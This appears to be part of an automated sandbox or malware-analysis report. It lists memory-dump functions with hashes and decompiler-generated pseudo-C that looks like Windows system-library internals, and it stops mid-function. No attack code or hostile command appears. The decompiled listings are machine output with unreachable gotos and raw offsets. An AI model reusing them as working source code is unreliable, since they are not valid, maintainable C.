Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: b292e9bcafc59e6ed2c6246dea56a464a96c3e68ff07d47cd868ca8c509cde6e
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 50519D71600606EFDB15CF54D480A96FBB9FF45704F19C0AAE908DF226E371EA56CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C72990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E03C72990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x3d1ff00);
				E03C9D08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x3c21664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E03C8E5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x3c21668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E03CC51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x3c2166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E03C72AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E03C56600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E03C72C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E03C5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E03C72AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E03C72C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E03C72ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E03C9D0D1(_t62);
				goto L28;
			}

0x03c72990
0x03c72992
0x03c72997
0x03c729a3
0x03c729a6
0x03c729ab
0x03c729ad
0x03c729b2
0x03cb5c80
0x03c729b8
0x03c729b8
0x03c729bb
0x03c729c0
0x03c729c5
0x03c729c6
0x03c729c6
0x03c729cb
0x00000000
0x00000000
0x03c729cd
0x03c729d0
0x03c729d9
0x03c729db
0x03c729dd
0x03c72a7f
0x03c72a84
0x03c72a87
0x03c72a89
0x03cb5ca1
0x03cb5ca3
0x00000000
0x03c72a8f
0x03c72a8f
0x00000000
0x03c72a8f
0x00000000
0x03c729e3
0x03c729e3
0x03c729e3
0x00000000
0x03c729e3
0x03c729dd
0x00000000
0x03c729db
0x03c729e6
0x03c729e9
0x03c729eb
0x03c729ed
0x03c729f3
0x03c729f5
0x03c729f8
0x03c729fa
0x03c72a97
0x03c72a9a
0x03c72a9d
0x03c72add
0x00000000
0x03c72a9f
0x03c72aa2
0x03c72aa5
0x03c72aa8
0x03c72aab
0x03cb5cab
0x03cb5caf
0x03cb5cc5
0x03cb5cda
0x03cb5cdc
0x03cb5cdf
0x03cb5ce5
0x00000000
0x03cb5ceb
0x03cb5ced
0x03cb5cee
0x00000000
0x03cb5cee
0x03cb5cb1
0x03cb5cb4
0x03cb5cb9
0x03cb5cbb
0x00000000
0x03cb5cbd
0x03cb5cbd
0x00000000
0x03cb5cbd
0x03cb5cbb
0x03c72ab1
0x03c72ab1
0x03c72ac4
0x03c72ac6
0x03c72ac6
0x00000000
0x03c72ac6
0x03c72aab
0x00000000
0x03c72a00
0x03c72a09
0x03c72a0e
0x03c72a21
0x03c72a24
0x03c72a35
0x03c72a3a
0x03c72a3d
0x03c72a42
0x03c72a59
0x03c72a59
0x03c72a5c
0x03c72a5f
0x03c72a5f
0x03c729fa
0x03c729f3
0x03c72a64
0x03c72a64
0x03c72a6b
0x03c72a6b
0x03c72a6d
0x03c72a72
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a83b1a37b99aa013c952233b379d6d1e79eacd3289c366066dbe5090c007afbb
Instruction ID: 09d3a08d7df0dc851e2c59d680c7bad9efcc0cf32352a43cf343544b145211e5
Opcode Fuzzy Hash: a83b1a37b99aa013c952233b379d6d1e79eacd3289c366066dbe5090c007afbb
Instruction Fuzzy Hash: 55514675A00209DFDF25DF55C880ADEBBB6FF48320F198459EC15EB220D3359A92DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03C74BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E03C74BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x3d3d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E03C4CC50(_t86);
					L11:
					return E03C8B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x3d38504
				E03C62280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E03C8FA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E03C8B0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L03C64620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E03C4CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x3d38504
								E03C5FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E03C74F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x03c74bad
0x03c74bbf
0x03c74bc2
0x03c74bc6
0x03c74bcd
0x03c74bd9
0x03cb67fe
0x03cb6800
0x03c74ccc
0x03c74ccd
0x03c74cb7
0x03c74cc9
0x03c74cc9
0x03c74bdf
0x03c74be5
0x00000000
0x00000000
0x03c74beb
0x03c74bef
0x00000000
0x00000000
0x03c74bf5
0x03c74bf9
0x03c74c06
0x03c74c0b
0x03c74c17
0x03c74c1c
0x03c74c1f
0x03c74c25
0x03c74c33
0x03c74c3d
0x03c74c40
0x03c74c43
0x03c74c47
0x03c74c4d
0x03c74c53
0x03c74c54
0x03c74c55
0x03c74c56
0x03c74c5b
0x03c74c5c
0x03c74c63
0x03c74c6b
0x00000000
0x00000000
0x03cb6776
0x03cb6784
0x03cb6784
0x03cb679f
0x03cb67a7
0x03cb67af
0x03cb67ce
0x00000000
0x03cb67b1
0x03cb67b7
0x03cb67b8
0x03cb67c1
0x03cb67d3
0x03cb67d9
0x03cb67dd
0x03c74c94
0x03c74c94
0x03c74c98
0x03c74c9c
0x03c74ca3
0x03cb67f4
0x03cb67f4
0x03c74cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x03c74cb5
0x03c74c79
0x03c74c7e
0x03c74c89
0x03c74c8b
0x03c74c8f
0x03c74c8f
0x00000000
0x03c74c89
0x03cb67c3
0x00000000
0x03cb67c3
0x03cb67af
0x03c74c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ecf56d56bee69bf1e01897141b7777c415b6fc4063ae6cb00c5711cc6ab5c7d
Instruction ID: b1629296bf9bb798b8ed427dfd6a8c994d072a0072e2a7cc0d7c783f4012f553
Opcode Fuzzy Hash: 8ecf56d56bee69bf1e01897141b7777c415b6fc4063ae6cb00c5711cc6ab5c7d
Instruction Fuzzy Hash: 8F419335A402289BCB25DF69C940FEEB7B8EF45710F0504A9E908EF250DB74DE84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 03C74D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E03C74D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x3d3d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E03C8FA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x3d37bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E03C8B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L03C64620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E03C4CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E03C8B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E03C8F380(_t67 + 0xc, 0x3c25138, 0x10) == 0) {
								 *0x3d360d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E03C74F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E03C74E70(0x3d386b0, 0x3c75690, 0, 0) != 0) {
					_t46 = E03C4CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x03c74d3b
0x03c74d4d
0x03c74d53
0x03c74d58
0x03c74d65
0x03c74d6c
0x03c74d71
0x03c74d77
0x03c74d7f
0x03c74d8c
0x03c74d8e
0x03c74dad
0x03c74db0
0x03c74db7
0x03c74db8
0x03c74db9
0x03c74dba
0x03c74dbb
0x03c74dc1
0x03c74dc8
0x03c74dcc
0x03c74dd5
0x03c74dde
0x03c74ddf
0x03c74de0
0x03c74de1
0x03c74de6
0x03c74de7
0x03c74de9
0x03c74df3
0x00000000
0x00000000
0x03cb6c7c
0x03cb6c8a
0x03cb6c8a
0x03cb6c9d
0x03cb6ca7
0x03cb6cac
0x03cb6cb2
0x03cb6cb9
0x00000000
0x03cb6cbf
0x03cb6cbf
0x00000000
0x03cb6cbf
0x03cb6cb9
0x03c74dfb
0x03cb6ccf
0x03cb6cd3
0x03c74e32
0x03c74e39
0x03cb6ce0
0x03cb6cf2
0x03cb6cf2
0x03cb6ce0
0x03c74e3f
0x03c74e41
0x03c74e51
0x03c74e51
0x03c74e03
0x03c74e03
0x03c74e09
0x03c74e0f
0x03c74e57
0x00000000
0x00000000
0x03c74e1b
0x03c74e30
0x03c74e5b
0x03c74e5b
0x00000000
0x03c74e30
0x03c74e11
0x03c74e11
0x03c74e16
0x00000000
0x03c74e16
0x03c74e01
0x00000000
0x03c74e01
0x03c74da5
0x03cb6c6b
0x00000000
0x03c74dab
0x03c74dab
0x00000000
0x03c74dab

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c42fbb422b1f406481081c1045f2a18110a696dc95fd6cd256822b5975b05420
Instruction ID: 83f82c05045882c17b9007b5d6aededb032c60ba8528cfbcf97956fa801c9ad9
Opcode Fuzzy Hash: c42fbb422b1f406481081c1045f2a18110a696dc95fd6cd256822b5975b05420
Instruction Fuzzy Hash: A841D175A40318AFEB25DF25CC80FAAF7AAEB05624F0540A9ED45DF280D774DE44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03D0AA16, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03D0AA16(void* __ecx, intOrPtr __edx, signed int _a4, short _a8) {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				intOrPtr _v24;
				char* _t37;
				void* _t47;
				signed char _t51;
				void* _t53;
				char _t55;
				intOrPtr _t57;
				signed char _t61;
				intOrPtr _t75;
				void* _t76;
				signed int _t81;
				intOrPtr _t82;

				_t53 = __ecx;
				_t55 = 0;
				_v20 = _v20 & 0;
				_t75 = __edx;
				_t81 = ( *(__ecx + 0xc) | _a4) & 0x93000f0b;
				_v24 = __edx;
				_v12 = 0;
				if((_t81 & 0x01000000) != 0) {
					L5:
					if(_a8 != 0) {
						_t81 = _t81 | 0x00000008;
					}
					_t57 = E03D0ABF4(_t55 + _t75, _t81);
					_v8 = _t57;
					if(_t57 < _t75 || _t75 > 0x7fffffff) {
						_t76 = 0;
						_v16 = _v16 & 0;
					} else {
						_t59 = _t53;
						_t76 = E03D0AB54(_t53, _t75, _t57, _t81 & 0x13000003,  &_v16);
						if(_t76 != 0 && (_t81 & 0x30000f08) != 0) {
							_t47 = E03D0AC78(_t53, _t76, _v24, _t59, _v12, _t81, _a8);
							_t61 = _v20;
							if(_t61 != 0) {
								 *(_t47 + 2) =  *(_t47 + 2) ^ ( *(_t47 + 2) ^ _t61) & 0x0000000f;
								if(E03CECB1E(_t61, _t53, _t76, 2, _t47 + 8) < 0) {
									L03C677F0(_t53, 0, _t76);
									_t76 = 0;
								}
							}
						}
					}
					_t82 = _v8;
					L16:
					if(E03C67D50() == 0) {
						_t37 = 0x7ffe0380;
					} else {
						_t37 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t37 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E03D0131B(_t53, _t76, _t82, _v16);
					}
					return _t76;
				}
				_t51 =  *(__ecx + 0x20);
				_v20 = _t51;
				if(_t51 == 0) {
					goto L5;
				}
				_t81 = _t81 | 0x00000008;
				if(E03CECB1E(_t51, __ecx, 0, 1,  &_v12) >= 0) {
					_t55 = _v12;
					goto L5;
				} else {
					_t82 = 0;
					_t76 = 0;
					_v16 = _v16 & 0;
					goto L16;
				}
			}

0x03d0aa1f
0x03d0aa21
0x03d0aa23
0x03d0aa2b
0x03d0aa30
0x03d0aa36
0x03d0aa39
0x03d0aa42
0x03d0aa75
0x03d0aa7a
0x03d0aa7c
0x03d0aa7c
0x03d0aa88
0x03d0aa8a
0x03d0aa8f
0x03d0ab02
0x03d0ab04
0x03d0aa99
0x03d0aaa8
0x03d0aaaf
0x03d0aab3
0x03d0aacc
0x03d0aad1
0x03d0aad6
0x03d0aae0
0x03d0aaf3
0x03d0aaf9
0x03d0aafe
0x03d0aafe
0x03d0aaf3
0x03d0aad6
0x03d0aab3
0x03d0ab07
0x03d0ab0a
0x03d0ab11
0x03d0ab23
0x03d0ab13
0x03d0ab1c
0x03d0ab1c
0x03d0ab2b
0x03d0ab44
0x03d0ab44
0x03d0ab51
0x03d0ab51
0x03d0aa44
0x03d0aa47
0x03d0aa4c
0x00000000
0x00000000
0x03d0aa5a
0x03d0aa64
0x03d0aa72
0x00000000
0x03d0aa66
0x03d0aa66
0x03d0aa68
0x03d0aa6a
0x00000000
0x03d0aa6a

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction ID: 7d0a24338201eb2960a39a8164af23b8f29ea4a2011f1f6737136e30eaeb5715
Opcode Fuzzy Hash: 702fa5d1d049179799b5169bcec1b3622bc185bb93763a62bdaaaa196ea10277
Instruction Fuzzy Hash: CE31CC36F103546BDB16CA69CC45BAFF7AAEF84A10F0A8069E805EB2D1DA74DD40C660

Uniqueness

Uniqueness Score: -1.00%

Function 03C58A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E03C58A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x3d3d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E03C8B640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E03C5E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x3c21180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E03C71DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E03C83C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E03C58999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x03c58a0a
0x03c58a1c
0x03c58a23
0x03c58a2e
0x03c58a30
0x03c58a36
0x03c58a3c
0x03c58a3e
0x03c58a4a
0x03c58a52
0x03c58a9c
0x03c58aae
0x03c58a58
0x03c58a5e
0x03c58a6a
0x03c58a6f
0x03c58a75
0x03c58a7d
0x03c58a85
0x03c58a86
0x03c58a89
0x03c58a93
0x03c58a99
0x03c58a9b
0x00000000
0x03c58aaf
0x03c58abe
0x03c58ac3
0x03c58acb
0x03c58ad7
0x03c58ae0
0x03c58af1
0x00000000
0x03c58af1
0x03c58acd
0x03c58ad5
0x03c58afb
0x03c58afd
0x03c58aff
0x03c58b07
0x03c58b22
0x03c58b24
0x03c58b2a
0x03c58b2e
0x03c58b3f
0x03c58b78
0x03c58b41
0x03c58b52
0x03c58b54
0x03c58b5c
0x03c58b74
0x03c58b74
0x03c58b5c
0x03c58b3f
0x03c58b5e
0x03c58b61
0x03c58b64
0x03c58b64
0x03c58b6c
0x03c58b6c
0x03c58b11
0x03ca9cd5
0x03ca9cd5
0x03c58b17
0x03c58b1a
0x03c58b1a
0x00000000
0x03c58ad5
0x03c58a89

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9f7d83a7c0c94f340ed53a4ef767f9b3c05dd17d053b0a8d67411f16424ab26
Instruction ID: 9fca923ec31ac1904c0a90f1828f2f745e374b20bf3fd11ed3b9cb050af0aa6d
Opcode Fuzzy Hash: a9f7d83a7c0c94f340ed53a4ef767f9b3c05dd17d053b0a8d67411f16424ab26
Instruction Fuzzy Hash: CB413EB5B403289BDB24DF59CC88AA9B7B8EB44300F1545E9EC19DB251EB709E80CF54

Uniqueness

Uniqueness Score: -1.00%

Function 03D0FDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E03D0FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E03D0FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E03D10A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E03C67D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E03D01608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E03D12B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E03D0C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E03D0DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E03C67D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
